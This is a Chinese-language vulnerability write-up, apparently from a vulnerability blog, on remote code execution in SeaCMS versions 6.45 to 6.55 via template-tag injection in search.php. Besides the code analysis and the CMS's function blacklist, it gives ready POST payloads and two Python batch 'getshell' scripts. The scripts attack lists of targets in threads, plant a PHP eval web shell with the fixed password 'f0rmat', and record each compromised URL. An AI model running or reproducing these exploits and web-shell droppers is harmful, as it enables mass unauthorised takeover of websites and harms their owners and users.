海洋CMS V6.45 – V6.55前台Getshell 代码执行漏洞

  • 发表于
  • Vulndb

海洋CMS v6.54漏洞

漏洞代码执行

Payload

get:
http://seacms.test/search.php

POST:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();
海洋CMS V6.45 - V6.55前台Getshell 代码执行漏洞

漏洞分析

这个版本只是把order的变量做了限制,但是声明为global变量的不止order,为什么不用其他而用order,在上一篇已经讲过了。

$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));

我看了这次构造的POC,我也是佩服这位表哥,因为分析这些代码需要大量的时间。这次通过echoSearchPage函数里面的拼接功能,我们可以在没转换之前输出一下$content的内容,这里我推荐直接用highlight_string($content)直接输出,不用右键查看源代码了。
大家可以先在searchword替换前输出$content,可以看到还没有开始替换。

海洋CMS V6.45 - V6.55前台Getshell 代码执行漏洞

那我们在替换后,输出$content,可以看到已经拼接成型了。

海洋CMS V6.45 - V6.55前台Getshell 代码执行漏洞

156行

$content = str_replace("{seacms:searchword}",$searchword,$content);
------
if(intval($searchtype)==5)
{
$tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
$jq = !empty($jq)?$jq:'全部';
$area = !empty($area)?$area:'全部';
$year = !empty($year)?$year:'全部';
$yuyan = !empty($yuyan)?$yuyan:'全部';
$letter = !empty($letter)?$letter:'全部';
$state = !empty($state)?$state:'全部';
$ver = !empty($ver)?$ver:'全部';
$money = !empty($money)?$money:'全部';
$content = str_replace("{searchpage:type}",$tid,$content);
$content = str_replace("{searchpage:typename}",$tname ,$content);
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
$content=$mainClassObj->parseSearchItemList($content,"type");
$content=$mainClassObj->parseSearchItemList($content,"year");
$content=$mainClassObj->parseSearchItemList($content,"area");
$content=$mainClassObj->parseSearchItemList($content,"letter");
$content=$mainClassObj->parseSearchItemList($content,"lang");
$content=$mainClassObj->parseSearchItemList($content,"jq");
$content=$mainClassObj->parseSearchItemList($content,"state");
$content=$mainClassObj->parseSearchItemList($content,"ver");
$content=$mainClassObj->parseSearchItemList($content,"money");
}.

又到parseIf处理这里了,我们都可以使用highlight_string($content)var_dump($iar[1])来输出匹配前和匹配后的结果。
匹配前

海洋CMS V6.45 - V6.55前台Getshell 代码执行漏洞

匹配后

海洋CMS V6.45 - V6.55前台Getshell 代码执行漏洞

所以又执行了我们传参进去的代码。

构造POC

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

其实很简单,每个参数做了限制,传入的字符串个数不能超过20个就行了。

海洋CMS V6.45 - V6.55前台Getshell 代码执行漏洞

9就是$_POST[9]里面的值,可以任意修改只要不超过20个字符。

用Python编写批量Getshell脚本

只是在上一个脚本做下修改就行了,同样支持单个和批量getshell。

海洋CMS V6.45 - V6.55前台Getshell 代码执行漏洞
'''
author:F0rmat
'''

import sys
import requests
import threading
def exploit(target):
if sys.argv[1]== "-f":
target=target[0]
url=target+"/search.php"
payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
data={
"searchtype":"5",
"searchword":"{if{searchpage:year}",
"year":":e{searchpage:area}}",
"area":"v{searchpage:letter}",
"letter":"al{searchpage:lang}",
"yuyan":"(join{searchpage:jq}",
"jq":"($_P{searchpage:ver}",
"ver":"OST[9]))",
"9[]":payload,
}

shell = target+'/shell.php'
try:
requests.post(url,data=data)
verify = requests.get(shell, timeout=3)
if "f0rmat" in verify.content:
print 'Write success,shell url:',shell,'pass:f0rmat'
with open("success.txt","a+") as f:
f.write(shell+'pass:f0rmat'+"\n")
else:
print target,'Write failure!'
except Exception, e:
print e
def main():
if len(sys.argv)<3:
print 'python check_order.py.py -h target/-f target-file'
else:
if sys.argv[1] == "-h":
exploit(sys.argv[2])
elif sys.argv[1] == "-f":
with open(sys.argv[2], "r") as f:
b = f.readlines()
for i in xrange(len(b)):
if not b[i] == "\n":
threading.Thread(target=exploit, args=(b[i].split(),)).start()

if __name__ == '__main__':
main()

海洋CMS v6.55漏洞

漏洞代码执行

Payload

GET:
http://seacms.test/search.php

POST: 
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*
海洋CMS V6.45 - V6.55前台Getshell 代码执行漏洞

漏洞分析

这次官方给出的修复是在parseIf函数里面加了黑名单。但是没有做SERVER变量的过滤,所以可以用SERVER变量的性质来达到写入命令。

function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
foreach($iar as $v){
$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);

构造POC

还是利用目标的多重替换,详细步骤见SeaCMS6.54。导致最后写入assert($_SERVER[QUERY_STRING]),因为$SERVER变量默认是不检查数据的安全性的,因而当我们把命令加在url后,$_SERVER[QUERY_STRING]便可以获得我们发送的请求也就是这里传递的要执行的命令。(search.php?whami)这样就执行了assert(whoami)

POC
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&ver=[QUERY_STRING]));/*

用Python编写批量Getshell脚本

和上面差不多:

海洋CMS V6.45 - V6.55前台Getshell 代码执行漏洞
'''
author:F0rmat
'''

import sys
import requests
import threading
def exploit(target):
if sys.argv[1]== "-f":
target=target[0]
url=target+"/search.php?eval(join($_POST[9]))"
payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
data={
"searchtype": "5",
"9[]": payload,
"searchword": "{if{searchpage:year}",
"year": ":as{searchpage:area}}",
"area": "s{searchpage:letter}",
"letter": "ert{searchpage:lang}",
"yuyan": "($_SE{searchpage:jq}",
"jq": "RVER{searchpage:ver}",
"ver": "[QUERY_STRING]));/*",

}

shell = target+'/shell.php'
try:
requests.post(url,data=data)
verify = requests.get(shell, timeout=3)
if "f0rmat" in verify.content:
print 'Write success,shell url:',shell,'pass:f0rmat'
with open("success.txt","a+") as f:
f.write(shell+'pass:f0rmat'+"\n")
else:
print target,'Write failure!'
except Exception, e:
print e
def main():
if len(sys.argv)<3:
print 'python check_order.py.py -h target/-f target-file'
else:
if sys.argv[1] == "-h":
exploit(sys.argv[2])
elif sys.argv[1] == "-f":
with open(sys.argv[2], "r") as f:
b = f.readlines()
for i in xrange(len(b)):
if not b[i] == "\n":
threading.Thread(target=exploit, args=(b[i].split(),)).start()

if __name__ == '__main__':
main()

参考